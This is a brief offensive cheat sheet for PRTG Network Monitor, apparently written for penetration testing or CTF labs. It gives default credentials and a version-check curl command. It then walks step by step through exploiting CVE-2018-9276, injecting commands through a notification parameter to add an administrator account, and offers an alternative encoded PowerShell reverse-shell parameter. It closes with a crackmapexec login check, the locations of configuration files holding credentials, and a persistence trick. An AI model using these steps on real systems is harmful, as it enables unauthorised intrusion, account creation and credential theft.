PRTG Network Monitor

Discovery

• Default ports: 80, 443, 8080

• Nmap shows: Indy httpd (Paessler PRTG bandwidth monitor)

• Default creds: prtgadmin:prtgadmin

# Version check
curl -s http://TARGET:8080/index.htm -A "Mozilla/5.0" | grep prtgversion

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Command Injection (CVE-2018-9276)

Affects: PRTG < 18.2.39

Exploit Steps

1. Login to PRTG admin panel

2. Setup → Account Settings → Notifications

3. Click Add new notification

4. Give it a name (e.g., "pwn")

5. Scroll down, check EXECUTE PROGRAM

6. Select: Demo exe notification - outfile.ps1

7. In Parameter field:

test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add

1. Click Save

2. Click Test on the notification

Alternative - Reverse Shell Parameter

test.txt;powershell -e JABjAGwAaQBlAG4AdAA9...BASE64_PAYLOAD

Verify Access

crackmapexec smb TARGET -u prtgadm1 -p 'Pwn3d_by_PRTG!'

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Credential Locations

# Windows
C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.dat
C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.old.bak

Search for <dbpassword> in config files.

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Persistence

Can schedule notification to run at specific times for persistent callback.